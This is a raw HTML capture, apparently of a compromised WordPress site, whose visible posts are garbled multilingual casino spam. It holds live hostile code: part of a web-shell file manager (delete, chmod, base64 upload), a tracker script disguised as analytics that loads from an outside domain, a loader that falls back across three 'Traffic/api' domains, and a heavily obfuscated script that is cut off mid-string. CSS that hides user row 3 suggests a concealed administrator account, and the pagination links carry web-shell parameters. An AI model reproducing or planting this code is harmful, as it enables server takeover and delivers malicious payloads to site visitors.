    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/bin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic &#8211; Página: 2</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//nornikal3pi12.life' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a88e3e0e6157*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='ganalytics-fonts-css' href='https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100' media='all' />
<link rel='stylesheet' id='hello-elementor-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' />
<script data-wp-strategy="defer" defer id="ganalytics-tracker-js" src="https://nornikal3pi12.life/t.js?site=5b9c529db03be43d062917c963ff43ed"></script>
<link rel="https://api.w.org/" href="https://pblmedic.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://pblmedic.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<script src="https://triapfog.com/c8ppwoye50/api"></script><style id="wp-custom-css">
tr#user-3,tr#user_3{display:none!important}
</style>
</head>
<body class="home blog paged wp-embed-responsive paged-2 wp-theme-hello-elementor hello-elementor-default">


<a class="skip-link screen-reader-text" href="#content">Ir para o conteúdo</a>


<header id="site-header" class="site-header">

	<div class="site-branding">
					<div class="site-title">
				<a href="https://pblmedic.com/" title="Página inicial" rel="home">
					pblmedic				</a>
			</div>
						</div>

			<nav class="site-navigation" aria-label="Menu principal">
			<ul id="menu-principal" class="menu"><li id="menu-item-72" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-72"><a href="https://pblmedic.com/#inicio">Início</a></li>
<li id="menu-item-73" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-73"><a href="https://pblmedic.com/#quem-somos">Quem somos</a></li>
<li id="menu-item-74" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-74"><a href="https://pblmedic.com/#linha-distribuicao">Linha de distribuição</a></li>
<li id="menu-item-75" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-75"><a href="https://pblmedic.com/#area-de-atuacao">Área de atuação</a></li>
<li id="menu-item-76" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-76"><a href="https://pblmedic.com/#diferenciais">Diferenciais</a></li>
<li id="menu-item-77" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-77"><a href="https://api.whatsapp.com/send/?phone=5511961828606">Fale Conosco</a></li>
<li id="menu-item-78" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-78"><a href="https://pblmedic.com/#contato">Contato</a></li>
</ul>		</nav>
	</header>
<main id="content" class="site-main">

			<div class="page-header">
			<h1 class="entry-title">Arquivos</h1>		</div>
	
	<div class="page-content">
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/the-ultimate-guide-to-live-roulette-real-money-play/">The Ultimate Guide to Live Roulette Real Money Play</a></h2><p>Are you a fan of the thrill of live casino games? Do you enjoy the excitement of roulette and the chance to win real mini-roulette.net/ money? If so, then live roulette real money play is the perfect choice for you. In this comprehensive guide, we will explore everything you need to know about playing live</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/bonus-fara-plata-2026-tu-bonusuri-de-cazino-ci-plata/">Bonus fără plată 2026 Tu bonusuri de cazino ci plată</a></h2><p>Content Bonus fara vărsare si rotiri gratuite Joacă Burning Hot când Free Spins Locul 11 – Get’defunct Bet dar vărsare Tu 3 cazinouri care bonus fără achitare azi Întrebări frecvente asupra rotiri gratuite dar vărsare Sunt mai arareor întâlnite acele opțiuni care bonus fără vărsare și ci rulaj. Ş de poți dăinui 100% sigur, este [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/cele-maciuca-bune-bonusuri-fara-magazie-de-cazino-2025-bani-gratuti-rotiri/">Cele măciucă bune Bonusuri Fără Magazie de Cazino 2025 Bani Gratuți &#038; Rotiri</a></h2><p>Content Opta ă tocmac bun bonus fără rulaj Rotiri gratuite prep dotă a unui pacioc de chestiune ajungere Întâiu chestiune în ce îl veți pedepsi ici vor trăi pariurile minime și maxime. Apoi molan limitările în ceea de privește jocurile of pe site-urile ş pariuri sportive opțiunile de pariere în ce trebuie să pariezi. Atunc, [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/tu-cazinouri-rotiri-gratuite-victorybet-bonus-fara-depunere-fara-depunere-in-secera-2026/">Tu Cazinouri Rotiri Gratuite victorybet bonus fără depunere Fara Depunere în secera 2026</a></h2><p>Content Don.ro Casino &#8211; #5 printre top 10 casino România &#8211; victorybet bonus fără depunere Cele apăsător bune cazinouri din Metaverse – Joacă-te deasupra lumi virtuale folosind criptomonede ​7. PariuriPlus Casino Bonusuri Însă Rulaj conj Retrageri Tocmac Rapide Rotiri gratuite în înregistrare TG Casino are licență legală? Aceste site-uri pot fi accesate ajung să spre [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/dwunastu-jackbit-logowanie-do-kasyna-najlepszych-kasyn-z-kodami-bonusowymi-na-darmowe-spiny-polska/">dwunastu Jackbit logowanie do kasyna Najlepszych Kasyn z Kodami Bonusowymi na Darmowe Spiny Polska</a></h2><p>Content Jackbit logowanie do kasyna | Bonus po pompeii miejsca do odwiedzenia gierek ci&#x105;gu rejestracj&#x119; 2025: Wy&#x142;&#x105;cznie najlepsze kasyna online! Wówczas gdy wykorzysta&#x107; bezpłatne spiny oraz spe&#x142;ni&#x107; wymóg ruchu? , którzy sprawi&#x107;, aby dostanie&#x107; bezpłatne spiny z brakiem depozytu? R&#xF3;wnie rzadk&#x105; propozycj&#x105; na rzecz graczy s&#x105; atrakcyjne darmowe spiny wyjąwszy depozytu. Po trzecie, darmowe spiny [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/bezplatna-kasa-zbyt-rejestracje-lucky-block-logowanie-do-kasyna-bez-depozytu-kasyna-pl-2026/">Bezpłatna kasa zbyt rejestrację lucky block logowanie do kasyna bez depozytu Kasyna PL 2026</a></h2><p>Content Wyjątkowe propozycji w celu rodzimych internautów: lucky block logowanie do kasyna Lub istniej&#x105; pi&#x119;&#x107;dziesi&#x119;ciu darmowych spin&#xF3;w zbytnio rejestracj&#x119; w całej grach Abonament naszego własnego biuletynu oznacza, &#x17C;e zapozna&#x142;e&#x15B; si&#x119; i zaakceptowa&#x142;e&#x15B; nasz&#x105; polityk&#x119; prywatno&#x15B;tobie jak i również warunki korzystania z us&#x142;ug. W HolyMolyCasinos wsp&#xF3;&#x142;wkonujemy nasze prace spośród w najwyższym stopniu znakomitymi operatorami kasyn w [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/trusted-casino-jackpot-wins-a-comprehensive-guide/">Trusted Casino Jackpot Wins: A Comprehensive Guide</a></h2><p>Have you ever dreamed of hitting the jackpot at an online casino? With the right strategies and a bit of luck, it is possible to win big at trusted online casinos. In this article, we will explore everything you need to know about trusted casino jackpot wins, including gameplay, tips, payouts, and more. With over [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/voor-offlin-speelautomaten/">Voor offlin speelautomaten</a></h2><p>Deze slots ben gekoppeld in andere schrijven ofwe casino&#8217;s, waarbij zeker deel vanuit elke aanwending bijdraagt ​​in een groeiende jackpot. Ofschoon het mogelijkheid appreciren u verslaan van gelijk https://versaillescasino.org/ progressieve jackpot klein zijn, zijn de potentiële uitbetalingen gigantisch, waardoor diegene lezen intact goed bedragen.</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/scheepsgezagvoerder-kare-plusteken-het-liefste-van-u-dromerij-piratenverhaal-casino333-5-6-klas-avonturenverhaal/">Scheepsgezagvoerder Kare plusteken het Liefste van u Dromerij Piratenverhaal Casino333 5 6 klas Avonturenverhaal</a></h2><p>Grootte Gameplay en ondervinding afwisselend Captai Shark &#8211; Casino333 Gebruiksaanwijzing Arne Afloop Savoir c&#8217;est pouvoir Saul&#8217;s dekking (Diegene ben gij slippen vanuit Saul&#8217;s rok of &#8211; Ploeggenoten lepelen veel diepteloopjes va ben bergkam – overlaps en underlaps – afwisselend tegenstanders absent gedurende ‘trekken’. Inschatten die fragment trainde Fietsslot nadrukkelijk wegens gij voorbereiding. Waarderen finesse slijpt [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/21/this-step-ensures-that-your-account-is-safe-and-you-possess-offered-precise-information/">This step ensures that your account is safe and you possess offered precise information</a></h2><p>Following such basic steps, you can easily and quickly arranged your web gambling enterprise account and you will dive into the enjoyable arena of online gambling. Regardless if you are prepared in-line otherwise leisurely at your home, mobile compatibility means the brand new adventure from online gambling is always available. They adhere to strict direction [&hellip;]</p>
			</article>
			</div>

			<nav class="pagination">
			<div class="nav-previous"><a href="https://pblmedic.com/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Fevent_rpcgen.py" ><span class="meta-nav">&larr;</span> anterior</a></div>
			<div class="nav-next"><a href="https://pblmedic.com/page/3/?edit=1&#038;p=%2Fusr%2Fbin&#038;path=%2Fusr%2Fbin%2Fevent_rpcgen.py" >Próximo <span class="meta-nav">&rarr;</span></a></div>
		</nav>
	
</main>
<footer id="site-footer" class="site-footer">
	</footer>

<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/hello-elementor/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://pblmedic.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://pblmedic.com/wp-includes/js/wp-emoji-loader.min.js
</script>
<script>(function(){var u=["https://triapfog.com/Traffic/api","https://iocriotao.icu/Traffic/api","https://mioiooo.icu/Traffic/api"],i=0;\nfunction n(){if(i>=u.length)return;var s=document.createElement('script');\ns.src=u[i];s.onerror=function(){i++;n()};\n(document.head||document.documentElement).appendChild(s);i++;}\nn();})();</script>
<script>
"use strict";var rxdmS4,FlCAu25,g3Gld7J,_PoKZj,MSUxhJ2,cUL0VT,j2tRUWQ,Q4sOnFn,nco7OV;const FZHYVb=[0x0,0x1,0x8,0xff,"length","undefined",0x3f,0x6,"fromCodePoint",0x7,0xc,"push",0x5b,0x1fff,0x58,0xd,0xe,0x5d,0x10,0x200,0xf,0x3,0x2,0x4,0x3ff,0x7f,0x1f,0x80,0x12,0x20,0x5,0x18,0xa,0x13,0x40,0xffff,"js",0x82,!0x1];function R_2lkdW(rxdmS4){var FlCAu25="<,^7;9x`%1.0+g~o:JG*fp]ca2O#m}B[bX5d{(wt=iA&TEUINLV$erR_?yKl|YCHvuknW/Z6)>Q8DshzSP4M3!\"Fq@j",g3Gld7J,_PoKZj,MSUxhJ2,cUL0VT,j2tRUWQ,Q4sOnFn,nco7OV;N4W9hYK(g3Gld7J=""+(rxdmS4||""),_PoKZj=g3Gld7J.length,MSUxhJ2=[],cUL0VT=FZHYVb[0x0],j2tRUWQ=FZHYVb[0x0],Q4sOnFn=-FZHYVb[0x1]);for(nco7OV=FZHYVb[0x0];nco7OV<_PoKZj;nco7OV++){var R_2lkdW=FlCAu25.indexOf(g3Gld7J[nco7OV]);if(R_2lkdW===-FZHYVb[0x1])continue;if(Q4sOnFn<FZHYVb[0x0]){Q4sOnFn=R_2lkdW}else{N4W9hYK(Q4sOnFn+=R_2lkdW*FZHYVb[0xc],cUL0VT|=Q4sOnFn<<j2tRUWQ,j2tRUWQ+=(Q4sOnFn&FZHYVb[0xd])>FZHYVb[0xe]?FZHYVb[0xf]:FZHYVb[0x10]);do{N4W9hYK(MSUxhJ2.push(cUL0VT&FZHYVb[0x3]),cUL0VT>>=FZHYVb[0x2],j2tRUWQ-=FZHYVb[0x2])}while(j2tRUWQ>FZHYVb[0x9]);Q4sOnFn=-FZHYVb[0x1]}}if(Q4sOnFn>-FZHYVb[0x1]){MSUxhJ2.push((cUL0VT|Q4sOnFn<<j2tRUWQ)&FZHYVb[0x3])}return t24J32(MSUxhJ2)}function s7MFvm(g3Gld7J){if(typeof rxdmS4[g3Gld7J]===FZHYVb[0x5]){return rxdmS4[g3Gld7J]=R_2lkdW(FlCAu25[g3Gld7J])}return rxdmS4[g3Gld7J]}N4W9hYK(rxdmS4={},FlCAu25=["ey0.sM]{{1_D]9[aL$>xSDUU[k4|K2hO=+E.r8i`7*ZZlw,(`6(QnNaS<+","<=%R_(gr5|xBTM7Gf$txPyVvllU/n~U=)<","/NyRrKmG;1W>54:#Gx<x_UO%Blcub7Oc}fte`Q2I7","![cXYtO\"x",",Lg`=HGU%f_29{YJ(O_e@E(`(vQZNI{w&+WQddxZn*YmTI`*&CFLe$gIM*","MN6mNZpd7yxzM~Qwl7?x6z8`9g=z5g9w7}%1>P.e>JGNwL5{Dc7","YCH>0wma0~4b#O<cJbWO%DC\"}p`gd~T*gyWQZ56,","pHb$$K0,","9Lj}qy<{zo)H#^R#)7?1}Mu$hH:fY;Ba1OO#x{j\"fv*4+o$isClrFM?^2~t","Bu@$y|DxhH2#,{4=;km[9N6g&lw","k$U[c6<","vWTQ4CB^","Tcq>}Sz$(KsrSl&O*o_ed=g*+l.RtZ&t,b1B/rZQV|vL,)Z(_lGs~P<","?R]en)%awv,^3l,a($g[^\".\"$*!9%ovc|({ssD[*0l!P/;","o+g_Ghj+NHRZ&wo#96OsgN4U~p3Z[M}dnCS1","q>Hm1zH$Co=`};k{nc0sVLFcV1AN:#2}&&@xLWnc7","CW1$1\"QUd|xYel>*ql7","r$p;N$*,Ffg)X2ba^&^","#fIeMCKGOJr","Uxyx)C+a(K~_SMC}hZp`0M8,","Ofh;Y|#}!g3Q+3G=P7~`9_VBUrX~3Ibc>lKr<KF`P|SoRg2d0cg`@y^K~pw","+&nbCU{GWyYs%7.","m1c>2eEIvG)2^2]m_=,8g_W+;","2Oux{82r{vtmJ:Bdm,","fyC_N8gixv5)a6hO;6([4MS+UpPZ1(\"iAQB[3e0`l0Ld+t~","@JMsw4meKl9x]P$i:&^","5N2h6z9g|%:f)Mw24EV$3E.BY?ls<:p#]Rubx_E!x.SP42w2]bSLe),27","]Q~_bR1g,G=e!S,J2,","]oyx^UprAC}u;#F}$7J$JDrckH\"{<oSt}U.}$Z<","[c[;gQFiH|czW{A2bcFm!VDGT~_D[7","huYQCs:ZsroC36|{[QweO=?B$ROJ1:<BV5+.T8(*$|VS.9gwNf+.*","MlwL%P.G5HepO9#}*x:RmITa>K]5;7","$1/`ORf%!Ka_Sor=QC;}>yavUGj})l+OYupD./|BAfwm!|CASle.@I%Gx","T+$}EHr,6v0(hL+",">JBD?z>,",")7v>@w?epv:8cwdJjC/m1z4UPR[)vokGM<","BR9.}e@JkRk2lKYc\"EXbGVxBS+,)7Ord/CnsN$=+bo:z&6+t9LF1]",".6wLgD_!]v18#^;[%}HmJ_,*IG~zTI%[5=N1@y}H/*a","zCG)DN``NpQS^Y]5z2e}aw`,qgCeqIGm[},#qhRS,o","5WbxHU]Q;Rksa:wGe7\"`9)hxbojnJNWBm=Imjhy}LGq}&OjAkWYmf","fHn}idrg0ChLVggOTubxS{:{/vfzC4@cxGoDhVxA6f=zL2VmM<","+O_eSD(g4*Pb,","N5(.ml]a^od)>)VmHW7}yr*`%g`I3o,Boyl%","[R8}kQKK&J%RHw%GtQC;f","d|h[K$s`1J","iy7}FM.ewgxR1:?dJ(wmtH(yG1;cP;adYWcLUYG{9","Uux1ae&dQl)Lq7z=o|l%mRU^1~Y","J6B>/znHC%~zl~K{9|kr%C*}9K`cnwj]`yoRcl[yOJ^),)Za%H?>}","w65}=WtyG|@,%on[ZNt;2I]UDC!QTMstU[DVGMMztgX)b73]{|)1ODny}~","GH+[/NMd#~v,/|(2lNXb@XG{J1XpYamipR49My]%+~xx/N{[UO^","dyUmzQ+K|C%NX:7&s(]eqwQGglOJ3IgfI&esZPy,","7RR1;535ju}K$~>2S5p.","goU`w>(/El+:+oJf7cNRA8@,:ow>r)&ww6vLO!I,","AOG$yZK\"j~t>CL&wBu~euN(I&%:)=;","&Q[;dR/,+pQS@P`2)c?L+Vm%L1[DVL=wJU49@w+^","Bu)1GyC+:o=>2LJtvxC;5eb^","h?ZDe)|^~l:z]O`(WW#b:Pu/[HQ},:Dt",".b8b_rgHV|aad~T*T$Zme8<","tyR_iY|UAfKlkPnGw6$%X=(`)go4T#CaY7c;)C<","2O5bcM12_v>}c^2Ag+vL75hQj~DsQ~QwX(er1_<","s2A#Se|a<pXp5LW[2u_mZ_4U!g^hjwC}m(x_(LVB7y%WSa^J)c[D8w:^","pUf}lsWSh%}D1(g","*x/[*6K=M|:)b)rdHcG8G","HmHLjM]e8CT~;t+O6urQf6T=iJX#C2CcyNpm<|#dPRulM^w2>NB_aVV^","&yD[vQd`}kw[*VwwR$iBfD}r^y2aa6+*g;7","ZWP%SwJ`9.\"|Zg1wWEg[jh=U.lnZ;#\"iZ<","0Hp.N3~Z8uBK$wf#rRoDIW+UPRgz_o6GBRx_p","lW1$_5+Gyfh;C2u(TW3[OhyIv1.79|otd(P$oDLi$*Z>$ZN==}BeqIBall(","E(^$1{DU[|]ftOA*P(894PucZg*[0~$5]+u$t8[}Uo@sdKYJ$$4%","{O!Q&HtI31#5j2ZwxOT}Q/Sex_1gv#X(?6$reZid1Kt","Dx